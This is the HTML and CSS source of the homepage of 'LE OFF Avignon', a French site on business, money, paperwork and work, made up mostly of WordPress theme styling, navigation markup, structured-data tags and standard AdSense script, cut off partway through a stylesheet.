.penci-readmore-btn.penci-btn-make-button a, .penci-featured-cat-seemore.penci-btn-make-button a{ background-color: #3f51b5; color: #fff; } .penci-vernav-toggle:before{ border-top-color: #3f51b5; color: #fff; } #penci-login-popup:before{ opacity: ; } #navigation .menu > li > a:hover, #navigation .menu li.current-menu-item > a, #navigation .menu > li.current_page_item > a, #navigation .menu > li:hover > a, #navigation .menu > li.current-menu-ancestor > a, #navigation .menu > li.current-menu-item > a, #navigation .menu .sub-menu li a:hover, #navigation .menu .sub-menu li.current-menu-item > a, #navigation .sub-menu li:hover > a { color: #3f51b5; } #navigation ul.menu > li > a:before, #navigation .menu > ul > li > a:before { background: #3f51b5; } #navigation .penci-megamenu .penci-mega-child-categories a.cat-active, #navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, #navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post a:hover { color: #3f51b5; } #navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name { background: #3f51b5; } #navigation ul.menu > li > a, #navigation .menu > ul > li > a { font-size: 14px; } #navigation .menu .sub-menu li a:hover, #navigation .menu .sub-menu li.current-menu-item > a, #navigation .sub-menu li:hover > a { color: #3f51b5; } #navigation.menu-style-2 ul.menu ul.sub-menu:before, #navigation.menu-style-2 .menu ul ul.sub-menu:before { background-color: #3f51b5; } .penci-header-signup-form { padding-top: px; padding-bottom: px; } .header-social a:hover i, .main-nav-social a:hover, .penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after { color: #3f51b5; } .penci-slide-overlay .overlay-link, .penci-slider38-overlay, .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before { opacity: ; } .penci-item-mag:hover .penci-slide-overlay .overlay-link, .featured-style-38 .item:hover .penci-slider38-overlay, .penci-flat-overlay .penci-item-mag:hover .penci-slide-overlay .penci-mag-featured-content:before { opacity: ; } .penci-featured-content .featured-slider-overlay { opacity: ; } .featured-style-29 .featured-slider-overlay { opacity: ; } .penci-featured-infor .cat a.penci-cat-name, .penci-grid .cat a.penci-cat-name, .penci-masonry .cat a.penci-cat-name, .penci-featured-infor .cat a.penci-cat-name { color: #3f51b5; } .penci-featured-infor .cat a.penci-cat-name:after, .penci-grid .cat a.penci-cat-name:after, .penci-masonry .cat a.penci-cat-name:after, .penci-featured-infor .cat a.penci-cat-name:after{ border-color: #3f51b5; } .penci-post-share-box a.liked, .penci-post-share-box a:hover { color: #3f51b5; } .overlay-post-box-meta .overlay-share a:hover, .overlay-author a:hover, .penci-grid .standard-content-special .format-post-box .dt-special a:hover, .grid-post-box-meta span a:hover, .grid-post-box-meta span a.comment-link:hover, .penci-grid .standard-content-special .author-quote span, .penci-grid .standard-content-special .format-post-box .post-format-icon i, .grid-mixed .penci-post-box-meta .penci-box-meta a:hover { color: #3f51b5; } .penci-grid .standard-content-special .author-quote span:before, .penci-grid .standard-content-special .author-quote span:after, .grid-header-box:after, .list-post .header-list-style:after { background-color: #3f51b5; } .penci-grid .post-box-meta span:after, .penci-masonry .post-box-meta span:after { border-color: #3f51b5; } .penci-readmore-btn.penci-btn-make-button a{ background-color: #3f51b5; color: #fff; } .penci-grid li.typography-style .overlay-typography { opacity: ; } .penci-grid li.typography-style:hover .overlay-typography { opacity: ; } .penci-grid li.typography-style .item .main-typography h2 a:hover { color: #3f51b5; } .penci-grid li.typography-style .grid-post-box-meta span a:hover { color: #3f51b5; } .overlay-header-box .cat > a.penci-cat-name:hover { color: #3f51b5; } .penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before, .penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before { background-color: #3f51b5; } .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover,.widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover, .widget a:hover, .penci-sidebar-content .widget-social a:hover span, .widget-social a:hover span, .penci-tweets-widget-content .icon-tweets, .penci-tweets-widget-content .tweet-intents a, .penci-tweets-widget-content .tweet-intents span:after, .widget-social.remove-circle a:hover i , #wp-calendar tbody td a:hover, .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover, .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover{ color: #3f51b5; } .widget .tagcloud a:hover, .widget-social a:hover i, .widget input[type="submit"]:hover,.penci-user-logged-in .penci-user-action-links a:hover,.penci-button:hover, .widget button[type="submit"]:hover { color: #fff; background-color: #3f51b5; border-color: #3f51b5; } .about-widget .about-me-heading:before { border-color: #3f51b5; } .penci-tweets-widget-content .tweet-intents-inner:before, .penci-tweets-widget-content .tweet-intents-inner:after, .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item, .penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb, .penci-video_playlist .penci-playlist-title { background-color: #3f51b5; } .penci-owl-carousel.penci-tweets-slider .owl-dots .owl-dot.active span, .penci-owl-carousel.penci-tweets-slider .owl-dots .owl-dot:hover span { border-color: #3f51b5; background-color: #3f51b5; } #footer-copyright * { font-style: normal; } .footer-widget-wrapper .penci-tweets-widget-content .icon-tweets, .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents a, .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents span:after, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover, .footer-widget-wrapper .widget a:hover, .footer-widget-wrapper .widget-social a:hover span, .footer-widget-wrapper a:hover, .footer-widget-wrapper .widget-social.remove-circle a:hover i, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover{ color: #3f51b5; } .footer-widget-wrapper .widget .tagcloud a:hover, .footer-widget-wrapper .widget-social a:hover i, .footer-widget-wrapper .mc4wp-form input[type="submit"]:hover, .footer-widget-wrapper .widget input[type="submit"]:hover,.footer-widget-wrapper .penci-user-logged-in .penci-user-action-links a:hover, .footer-widget-wrapper .widget button[type="submit"]:hover { color: #fff; background-color: #3f51b5; border-color: #3f51b5; } .footer-widget-wrapper .about-widget .about-me-heading:before { border-color: #3f51b5; } .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:before, .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:after { background-color: #3f51b5; } .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .owl-dots .owl-dot.active span, .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .owl-dots .owl-dot:hover span { border-color: #3f51b5; background: #3f51b5; } ul.footer-socials li a:hover i { background-color: #3f51b5; border-color: #3f51b5; } ul.footer-socials li a:hover span { color: #3f51b5; } .footer-socials-section, .penci-footer-social-moved{ border-color: #212121; } #footer-section, .penci-footer-social-moved{ background-color: #111111; } #footer-section .footer-menu li a:hover { color: #3f51b5; } .penci-go-to-top-floating { background-color: #3f51b5; } #footer-section a { color: #3f51b5; } .comment-content a, .container-single .post-entry a, .container-single .format-post-box .dt-special a:hover, .container-single .author-quote span, .container-single .author-post span a:hover, .post-entry blockquote:before, .post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote:before, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .post-pagination a:hover, .author-content h5 a:hover, .author-content .author-social:hover, .item-related h3 a:hover, .container-single .format-post-box .post-format-icon i, .container.penci-breadcrumb.single-breadcrumb span a:hover, .penci_list_shortcode li:before, .penci-dropcap-box-outline, .penci-dropcap-circle-outline, .penci-dropcap-regular, .penci-dropcap-bold, .header-standard .post-box-meta-single .author-post span a:hover{ color: #3f51b5; } .container-single .standard-content-special .format-post-box, ul.slick-dots li button:hover, ul.slick-dots li.slick-active button, .penci-dropcap-box-outline, .penci-dropcap-circle-outline { border-color: #3f51b5; } ul.slick-dots li button:hover, ul.slick-dots li.slick-active button, #respond h3.comment-reply-title span:before, #respond h3.comment-reply-title span:after, .post-box-title:before, .post-box-title:after, .container-single .author-quote span:before, .container-single .author-quote span:after, .post-entry blockquote .author span:after, .post-entry blockquote .author span:before, .post-entry ul li:before, #respond #submit:hover, div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover, .wpcf7 input[type="submit"]:hover, .widget_wysija input[type="submit"]:hover, .post-entry.blockquote-style-2 blockquote:before,.tags-share-box.tags-share-box-s2 .post-share-plike, .penci-dropcap-box, .penci-dropcap-circle, .penci-ldspinner > div{ background-color: #3f51b5; } .container-single .post-entry .post-tags a:hover { color: #fff; border-color: #3f51b5; background-color: #3f51b5; } .container-single .penci-standard-cat .cat > a.penci-cat-name { color: #3f51b5; } .container-single .penci-standard-cat .cat:before, .container-single .penci-standard-cat .cat:after { background-color: #3f51b5; } .container-single .single-post-title { text-transform: none; } @media only screen and (min-width: 769px){ .container-single .single-post-title { font-size: 27px; } } .container-single .single-post-title { } .penci-single-style-6 .single-breadcrumb, .penci-single-style-5 .single-breadcrumb, .penci-single-style-4 .single-breadcrumb, .penci-single-style-3 .single-breadcrumb, .penci-single-style-9 .single-breadcrumb, .penci-single-style-7 .single-breadcrumb{ text-align: left; } .container-single .header-standard, .container-single .post-box-meta-single { text-align: left; } .rtl .container-single .header-standard,.rtl .container-single .post-box-meta-single { text-align: right; } .container-single .post-pagination h5 { text-transform: none; } #respond h3.comment-reply-title span:before, #respond h3.comment-reply-title span:after, .post-box-title:before, .post-box-title:after { content: none; display: none; } .container-single .item-related h3 a { text-transform: none; } .container-single .post-share a:hover, .container-single .post-share a.liked, .page-share .post-share a:hover { color: #3f51b5; } .tags-share-box.tags-share-box-2_3 .post-share .count-number-like, .post-share .count-number-like { color: #3f51b5; } .post-entry a, .container-single .post-entry a{ color: #3f51b5; } .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover{ color: #3f51b5; } .home-featured-cat-content .mag-photo .mag-overlay-photo { opacity: ; } .home-featured-cat-content .mag-photo:hover .mag-overlay-photo { opacity: ; } .inner-item-portfolio:hover .penci-portfolio-thumbnail a:after { opacity: ; } #respond p.form-submit, .wpcf7 p.submit {text-align: left;} .penci-block-vc .style-7.penci-border-arrow .inner-arrow:before, .penci-block-vc.style-9 .penci-border-arrow .inner-arrow:before { background-color: #3f51b5; } .penci_header.penci-header-builder.main-builder-header{}.penci-header-image-logo,.penci-header-text-logo{}.pc-logo-desktop.penci-header-image-logo img{}@media only screen and (max-width: 767px){.penci_navbar_mobile .penci-header-image-logo img{}}.penci_builder_sticky_header_desktop .penci-header-image-logo img{}.penci_navbar_mobile .penci-header-text-logo{}.penci_navbar_mobile .penci-header-image-logo img{}.penci_navbar_mobile .sticky-enable .penci-header-image-logo img{}.pb-logo-sidebar-mobile{}.pc-builder-element.pb-logo-sidebar-mobile img{}.pc-logo-sticky{}.pc-builder-element.pc-logo-sticky.pc-logo img{}.pc-builder-element.pc-main-menu{}.pc-builder-element.pc-second-menu{}.pc-builder-element.pc-third-menu{}.penci-builder.penci-builder-button.button-1{}.penci-builder.penci-builder-button.button-1:hover{}.penci-builder.penci-builder-button.button-2{}.penci-builder.penci-builder-button.button-2:hover{}.penci-builder.penci-builder-button.button-3{}.penci-builder.penci-builder-button.button-3:hover{}.penci-builder.penci-builder-button.button-mobile-1{}.penci-builder.penci-builder-button.button-mobile-1:hover{}.penci-builder.penci-builder-button.button-2{}.penci-builder.penci-builder-button.button-2:hover{}.penci-builder-mobile-sidebar-nav.penci-menu-hbg{border-width:0;}.pc-builder-menu.pc-dropdown-menu{}.pc-builder-element.pc-logo.pb-logo-mobile{}.pc-header-element.penci-topbar-social .pclogin-item a{}body.penci-header-preview-layout .wrapper-boxed{min-height:1500px}.penci_header_overlap .penci-desktop-topblock,.penci-desktop-topblock{border-width:0;}.penci_header_overlap .penci-desktop-topbar,.penci-desktop-topbar{border-width:0;}.penci_header_overlap .penci-desktop-midbar,.penci-desktop-midbar{border-width:0;}.penci_header_overlap .penci-desktop-bottombar,.penci-desktop-bottombar{border-width:0;}.penci_header_overlap .penci-desktop-bottomblock,.penci-desktop-bottomblock{border-width:0;}.penci_header_overlap .penci-sticky-top,.penci-sticky-top{border-width:0;}.penci_header_overlap .penci-sticky-mid,.penci-sticky-mid{border-width:0;}.penci_header_overlap .penci-sticky-bottom,.penci-sticky-bottom{border-width:0;}.penci_header_overlap .penci-mobile-topbar,.penci-mobile-topbar{border-width:0;}.penci_header_overlap .penci-mobile-midbar,.penci-mobile-midbar{border-width:0;}.penci_header_overlap .penci-mobile-bottombar,.penci-mobile-bottombar{border-width:0;} @media only screen and (min-width: 961px){ }</style><script>
var penciBlocksArray=[];
var portfolioDataJs = portfolioDataJs || [];var PENCILOCALCACHE = {};
(function () {
"use strict";
PENCILOCALCACHE = {
data: {},
remove: function ( ajaxFilterItem ) {
delete PENCILOCALCACHE.data[ajaxFilterItem];
},
exist: function ( ajaxFilterItem ) {
return PENCILOCALCACHE.data.hasOwnProperty( ajaxFilterItem ) && PENCILOCALCACHE.data[ajaxFilterItem] !== null;
},
get: function ( ajaxFilterItem ) {
return PENCILOCALCACHE.data[ajaxFilterItem];
},
set: function ( ajaxFilterItem, cachedData ) {
PENCILOCALCACHE.remove( ajaxFilterItem );
PENCILOCALCACHE.data[ajaxFilterItem] = cachedData;
}
};
}
)();function penciBlock() {
this.atts_json = '';
this.content = '';
}</script>
<script type="application/ld+json">{
"@context": "https:\/\/schema.org\/",
"@type": "organization",
"@id": "#organization",
"logo": {
"@type": "ImageObject",
"url": "https:\/\/www.avignonleoff.com\/wp-content\/uploads\/2023\/05\/Logo-LE-OFF-Avignon-2.png"
},
"url": "https:\/\/www.avignonleoff.com\/",
"name": "LE OFF Avignon",
"description": ""
}</script><script type="application/ld+json">{
"@context": "https:\/\/schema.org\/",
"@type": "WebSite",
"name": "LE OFF Avignon",
"alternateName": "",
"url": "https:\/\/www.avignonleoff.com\/",
"potentialAction": {
"@type": "SearchAction",
"target": "https:\/\/www.avignonleoff.com\/search\/{search_term}",
"query-input": "required name=search_term"
}
}</script>
<!-- Balises Meta Google AdSense ajoutées par Site Kit -->
<meta name="google-adsense-platform-account" content="ca-host-pub-2644536267352236">
<meta name="google-adsense-platform-domain" content="sitekit.withgoogle.com">
<!-- Fin des balises Meta End Google AdSense ajoutées par Site Kit -->
<meta name="generator" content="Elementor 4.2.4; features: additional_custom_breakpoints; settings: css_print_method-external, google_font-enabled, font_display-swap">
<style>
.e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload),
.e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload) * {
background-image: none !important;
}
@media screen and (max-height: 1024px) {
.e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload),
.e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload) * {
background-image: none !important;
}
}
@media screen and (max-height: 640px) {
.e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload),
.e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload) * {
background-image: none !important;
}
}
</style>
<!-- Extrait Google AdSense ajouté par Site Kit -->
<script async crossorigin="anonymous" src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5104130374911667&host=ca-host-pub-2644536267352236"></script>
<!-- Terminer l'extrait de Google AdSense ajouté par Site Kit -->
<style type="text/css">
.penci-recipe-tagged .prt-icon span, .penci-recipe-action-buttons .penci-recipe-button:hover{ background-color:#3f51b5; } </style>
<link rel="icon" href="https://www.avignonleoff.com/wp-content/uploads/2023/04/Favicon-LE-OFF-Avignon.png" sizes="32x32" />
<link rel="icon" href="https://www.avignonleoff.com/wp-content/uploads/2023/04/Favicon-LE-OFF-Avignon.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://www.avignonleoff.com/wp-content/uploads/2023/04/Favicon-LE-OFF-Avignon.png" />
<meta name="msapplication-TileImage" content="https://www.avignonleoff.com/wp-content/uploads/2023/04/Favicon-LE-OFF-Avignon.png" />
</head>
<body class="home wp-singular page-template page-template-elementor_header_footer page page-id-17247 wp-theme-soledad wp-child-theme-soledad-child cookies-not-set soledad-ver-8-2-1 pclight-mode pcmn-drdw-style-slide_down pchds-default elementor-default elementor-template-full-width elementor-kit-72 elementor-page elementor-page-17247">
<div class="wrapper-boxed header-style-header-6 header-search-style-default">
<div class="penci-header-wrap"><header id="header" class="header-header-6 has-bottom-line" itemscope="itemscope" itemtype="https://schema.org/WPHeader">
<nav id="navigation" class="header-layout-bottom header-6 menu-style-2" role="navigation" itemscope itemtype="https://schema.org/SiteNavigationElement">
<div class="container">
<div class="button-menu-mobile header-6"><svg width=18px height=18px viewbox="0 0 512 384" version=1.1 xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w3.org/1999/xlink><g stroke=none stroke-width=1 fill-rule=evenodd><g transform="translate(0.000000, 0.250080)"><rect x=0 y=0 width=512 height=62></rect><rect x=0 y=161 width=512 height=62></rect><rect x=0 y=321 width=512 height=62></rect></g></g></svg></div>
<div id="logo">
<a href="https://www.avignonleoff.com/">
<img class="penci-mainlogo penci-logo" src="https://www.avignonleoff.com/wp-content/uploads/2023/05/Logo-LE-OFF-Avignon-2.png" alt="LE OFF Avignon" width="1426" height="350" />
</a>
</div><ul id="menu-main-menu" class="menu"><li id="menu-item-319" class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-319"><a href="https://www.avignonleoff.com/soledad_home/">Accueil</a></li>
<li id="menu-item-324" class="menu-item menu-item-type-taxonomy menu-item-object-category ajax-mega-menu menu-item-324"><a href="https://www.avignonleoff.com/business/">Business</a></li>
<li id="menu-item-323" class="menu-item menu-item-type-taxonomy menu-item-object-category ajax-mega-menu menu-item-323"><a href="https://www.avignonleoff.com/argent/">Argent</a></li>
<li id="menu-item-325" class="menu-item menu-item-type-taxonomy menu-item-object-category ajax-mega-menu menu-item-325"><a href="https://www.avignonleoff.com/demarches/">Démarches</a></li>
<li id="menu-item-326" class="menu-item menu-item-type-taxonomy menu-item-object-category ajax-mega-menu menu-item-326"><a href="https://www.avignonleoff.com/travail/">Travail</a></li>
<li id="menu-item-321" class="menu-item menu-item-type-post_type menu-item-object-page ajax-mega-menu menu-item-321"><a href="https://www.avignonleoff.com/contact/">AvignonleOff.com contact</a></li>
</ul><div id="top-search" class="penci-top-search pcheader-icon top-search-classes">
<a class="search-click">
<i class="penciicon-magnifiying-glass"></i>
</a>
<div class="show-search">
<form role="search" method="get" class="pc-searchform" action="https://www.avignonleoff.com/">
<div class="pc-searchform-inner">
<input type="text" class="search-input"
placeholder="Tapez et appuyez sur entrée..." name="s"/>
<i class="penciicon-magnifiying-glass"></i>
<input type="submit" class="searchsubmit" value="Rechercher"/>
</div>
</form>
<a class="search-click close-search"><i class="penciicon-close-button"></i></a>
</div>
</div>
</div>
</nav><!-- End Navigation -->
</header>
<!-- end #header -->
</div> <div data-elementor-type="wp-page" data-elementor-id="17247" class="elementor elementor-17247" data-elementor-post-type="page">
<section class="penci-section penci-disSticky penci-structure-10 elementor-section elementor-top-section elementor-element elementor-element-1886576 elementor-section-full_width elementor-section-height-default elementor-section-height-default" data-id="1886576" data-element_type="section" data-e-type="section">
<div class="elementor-container elementor-column-gap-no">
<div class="penci-ercol-100 penci-ercol-order-1 penci-sticky-ct elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-c35e3c1" data-id="c35e3c1" data-element_type="column" data-e-type="column">
<div class="elementor-widget-wrap elementor-element-populated">
<div class="elementor-element elementor-element-b1ccd7d elementor-widget elementor-widget-html" data-id="b1ccd7d" data-element_type="widget" data-e-type="widget" data-widget_type="html.default">
<div class="elementor-widget-container">
<link href="https://fonts.googleapis.com" rel="preconnect"/>
<link crossorigin="" href="https://fonts.gstatic.com" rel="preconnect"/>
<link href="https://fonts.googleapis.com/css2?family=Fraunces:opsz,wght@9..144,600;9..144,700&family=Instrument+Sans:wght@400;500;600;700&display=swap" rel="stylesheet"/>
<link href="https://www.avignonleoff.com/wp-content/uploads/2023/04/Favicon-LE-OFF-Avignon.png" rel="icon" sizes="32x32"/>
<link href="https://www.avignonleoff.com/wp-content/uploads/2023/04/Favicon-LE-OFF-Avignon.png" rel="apple-touch-icon"/>
<style>
:root {
--alo-bg: #f6efe4;
--alo-surface: #fffaf3;
--alo-surface-strong: #ead8c0;
--alo-primary: #b44b2d;
--alo-primary-soft: rgba(180, 75, 45, 0.14);
--alo-secondary: #16233f;
--alo-secondary-soft: rgba(22, 35, 63, 0.08);
--alo-text: #1d1712;
--alo-muted: #65584d;
--alo-line: rgba(29, 23, 18, 0.12);
--alo-gold: #d6ab62;
--alo-green: #2b5b4f;
--alo-max: 1220px;
--alo-body: "Instrument Sans", "Avenir Next", "Helvetica Neue", Arial, sans-serif;
--alo-display: "Fraunces", "Iowan Old Style", "Times New Roman", serif;
--alo-shadow: 0 22px 60px rgba(22, 35, 63, 0.12);
}
* {
box-sizing: border-box;
}
html {
scroll-behavior: smooth;
background: var(--alo-bg);
scroll-snap-type: y proximity;
}
body {
margin: 0;
font-family: var(--alo-body);
color: var(--alo-text);
background:
radial-gradient(circle at top left, rgba(255, 255, 255, 0.84), transparent 28%),
linear-gradient(180deg, #f9f2e8 0%, var(--alo-bg) 30%, #f3ecdf 100%);
}
a {
color: inherit;
text-decoration: none;
}
img {
max-width: 100%;
display: block;
}
button,
input {
font: inherit;
}
.alo-page {
width: 100%;
display: grid;
row-gap: clamp(36px, 5vh, 64px);
}
.alo-section {
position: relative;
width: 100%;
min-height: 100svh;
display: grid;
align-items: center;
scroll-snap-align: start;
overflow: clip;
isolation: isolate;
}
.alo-section.alo-benefits,
.alo-section.alo-trust,
.alo-section.alo-quiz {
height: auto;
max-height: none;
min-height: auto;
overflow: visible;
align-items: start;
}
@media (min-width: 801px) {
.alo-section {
height: 100svh;
max-height: 100svh;
}
.alo-section:not(.alo-hero) > .alo-inner {
padding-block: 16px;
}
}
.alo-inner {
width: min(var(--alo-max), calc(100% - 40px));
margin: 0 auto;
}
.alo-kicker {
display: inline-flex;
align-items: center;
gap: 10px;
margin: 0 0 18px;
color: var(--alo-primary);
text-transform: uppercase;
letter-spacing: 0.18em;
font-size: 0.78rem;
font-weight: 700;
}
.alo-kicker::before {
content: "";
width: 42px;
height: 1px;
background: currentColor;
}
.alo-section-head {
display: grid;
gap: 10px;
margin-bottom: 28px;
}
.alo-section-head h2,
.alo-hero-title,
.alo-quote {
margin: 0;
font-family: var(--alo-display);
letter-spacing: -0.04em;
}
.alo-section-head h2 {
font-size: clamp(2.25rem, 3.7vw, 4.2rem);
line-height: 0.95;
max-width: none;
}
.alo-section-head p,
.alo-copy,
.alo-metric-copy,
.alo-card-copy,
.alo-faq-copy,
.alo-post-excerpt,
.alo-testimonial-role,
.alo-newsletter-copy,
.alo-benefit-copy,
.alo-quiz-copy,
.alo-result-copy {
margin: 0;
color: var(--alo-muted);
line-height: 1.62;
font-size: 0.98rem;
}
.alo-chip-row {
display: flex;
flex-wrap: wrap;
gap: 10px;
}
.alo-chip {
display: inline-flex;
align-items: center;
min-height: 34px;
padding: 0 13px;
border-radius: 999px;
border: 1px solid rgba(255, 255, 255, 0.2);
background: rgba(255, 255, 255, 0.08);
color: #f5ecde;
font-size: 0.84rem;
}
.alo-button-row {
display: flex;
flex-wrap: wrap;
gap: 14px;
}
.alo-button {
display: inline-flex;
align-items: center;
justify-content: center;
min-height: 48px;
padding: 0 20px;
border-radius: 999px;
border: 1px solid transparent;
font-weight: 700;
transition: transform 180ms ease, border-color 180ms ease, background 180ms ease;
}
.alo-button:hover {
transform: translateY(-2px);
}
.alo-button-primary {
background: var(--alo-primary);
color: #fff7f1;
}
.alo-button-secondary {
background: rgba(255, 255, 255, 0.08);
border-color: rgba(255, 255, 255, 0.24);
color: #fff5ea;
}
.alo-hero {
color: #f8ecdf;
background:
radial-gradient(circle at 12% 18%, rgba(214, 171, 98, 0.22), transparent 18%),
radial-gradient(circle at 88% 76%, rgba(180, 75, 45, 0.28), transparent 16%),
linear-gradient(135deg, #0f1830 0%, #18284a 44%, #b44b2d 130%);
}
.alo-hero::before {
content: "";
position: absolute;
inset: 0;
background:
linear-gradient(90deg, rgba(255, 255, 255, 0.04) 1px, transparent 1px),
linear-gradient(rgba(255, 255, 255, 0.04) 1px, transparent 1px);
background-size: 48px 48px;
opacity: 0.22;
pointer-events: none;
}
.alo-hero-wrap {
position: relative;
z-index: 1;
display: grid;
grid-template-columns: minmax(0, 1.08fr) minmax(340px, 0.92fr);
gap: 40px;
align-items: center;
min-height: 100svh;
padding: 40px 0;
}
.alo-brand {
margin: 0 0 10px;
color: rgba(255, 244, 228, 0.76);
font-size: 0.92rem;
letter-spacing: 0.18em;
text-transform: uppercase;
}
.alo-hero-title {
max-width: 10ch;
font-size: clamp(4.2rem, 10vw, 8rem);
line-height: 0.9;
letter-spacing: -0.015em;
word-spacing: 0.14em;
text-wrap: balance;
text-rendering: optimizeLegibility;
}
.alo-hero-copy {
max-width: 32rem;
margin: 18px 0 0;
color: rgba(247, 236, 222, 0.86);
font-size: 1.04rem;
line-height: 1.66;
}
.alo-hero-actions,
.alo-hero-chips,
.alo-hero-stats {
margin-top: 22px;
}
.alo-hero-stats {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 16px;
}
.alo-stat {
padding-top: 14px;
border-top: 1px solid rgba(255, 255, 255, 0.2);
}
.alo-stat-value {
display: block;
font-family: var(--alo-display);
font-size: clamp(2rem, 4vw, 2.8rem);
letter-spacing: -0.04em;
}
.alo-stat-label {
display: block;
margin-top: 6px;
color: rgba(248, 236, 222, 0.76);
line-height: 1.46;
font-size: 0.9rem;
}
.alo-hero-visual {
position: relative;
align-self: stretch;
min-height: 590px;
}
.alo-poster-stack {
position: absolute;
inset: 24px 0 24px 0;
display: grid;
grid-template-rows: 1fr auto auto;
gap: 14px;
padding: 20px;
border: 1px solid rgba(255, 255, 255, 0.12);
border-radius: 34px;
background:
linear-gradient(180deg, rgba(255, 248, 237, 0.1) 0%, rgba(16, 25, 49, 0.4) 100%);
backdrop-filter: blur(12px);
box-shadow: var(--alo-shadow);
}
.alo-hero-stage {
position: relative;
border-radius: 28px;
overflow: hidden;
background:
radial-gradient(circle at 50% 12%, rgba(241, 208, 145, 0.95), transparent 22%),
linear-gradient(180deg, #f3d6aa 0%, #b44b2d 45%, #241c1e 100%);
}
.alo-hero-stage svg {
width: 100%;
height: 100%;
}
.alo-stage-note {
position: absolute;
top: 18px;
left: 18px;
display: inline-flex;
align-items: center;
gap: 8px;
padding: 10px 14px;
border-radius: 999px;
background: rgba(21, 35, 63, 0.68);
color: #fff2df;
font-size: 0.86rem;
}
.alo-stage-note::before {
content: "";
width: 9px;
height: 9px;
border-radius: 999px;
background: var(--alo-gold);
}
.alo-poster-strip {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 10px;
}
.alo-poster-tag,
.alo-poster-log {
padding: 12px 14px;
border-radius: 22px;
background: rgba(255, 247, 236, 0.08);
border: 1px solid rgba(255, 255, 255, 0.08);
}
.alo-poster-tag strong,
.alo-poster-log strong {
display: block;
font-size: 0.88rem;
text-transform: uppercase;
letter-spacing: 0.12em;
color: rgba(255, 240, 225, 0.7);
}
.alo-poster-tag span,
.alo-poster-log span {
display: block;
margin-top: 4px;
color: #fff4e6;
line-height: 1.38;
font-size: 0.92rem;
}
.alo-poster-log {
display: grid;
gap: 8px;
}
.alo-poster-log span {
display: flex;
justify-content: space-between;
gap: 14px;
font-size: 0.88rem;
}
.alo-metrics {
padding: 64px 0;
}
.alo-metrics-grid {
display: grid;
grid-template-columns: 1.1fr 1fr;
gap: 30px;
align-items: start;
}
.alo-metric-list {
display: grid;
grid-template-columns: repeat(2, minmax(0, 1fr));
gap: 12px;
}
.alo-metric {
padding: 20px 0 0;
border-top: 1px solid var(--alo-line);
}
.alo-metric-value {
display: flex;
align-items: baseline;
gap: 4px;
font-family: var(--alo-display);
font-size: clamp(2.4rem, 5vw, 4.2rem);
line-height: 0.92;
letter-spacing: -0.05em;
}
.alo-metric-unit {
font-size: 1.3rem;
color: var(--alo-primary);
}
.alo-metric-label {
margin: 10px 0 0;
font-weight: 700;
line-height: 1.4;
}
.alo-metric-copy {
margin-top: 6px;
}
.alo-metrics-side {
display: grid;
gap: 12px;
padding: 20px;
border-radius: 30px;
background: linear-gradient(160deg, var(--alo-surface) 0%, #f1e3cf 100%);
border: 1px solid rgba(22, 35, 63, 0.08);
}
.alo-side-line {
display: flex;
justify-content: space-between;
gap: 16px;
padding-bottom: 10px;
border-bottom: 1px solid rgba(22, 35, 63, 0.08);
color: var(--alo-muted);
}
.alo-side-line strong {
color: var(--alo-secondary);
}
.alo-categories {
padding: 64px 0;
background:
linear-gradient(180deg, rgba(255, 255, 255, 0.42), rgba(255, 255, 255, 0)),
var(--alo-bg);
}
.alo-categories-grid {
display: grid;
grid-template-columns: repeat(5, minmax(0, 1fr));
gap: 16px;
}
.alo-category {
position: relative;
min-height: 292px;
padding: 0;
border-radius: 30px;
overflow: hidden;
color: #fff6ea;
background: linear-gradient(180deg, rgba(15, 24, 48, 0.22), rgba(15, 24, 48, 0.84));
box-shadow: 0 24px 42px rgba(22, 35, 63, 0.12);
}
.alo-category::before {
content: "";
position: absolute;
inset: 0;
background: linear-gradient(180deg, transparent 0%, rgba(11, 19, 35, 0.88) 100%);
z-index: 2;
}
.alo-category::after {
content: "";
position: absolute;
inset: auto -12% -22% auto;
width: 180px;
height: 180px;
border-radius: 50%;
background: rgba(255, 245, 230, 0.12);
filter: blur(8px);
z-index: 2;
}
.alo-category-media {
position: absolute;
inset: 0;
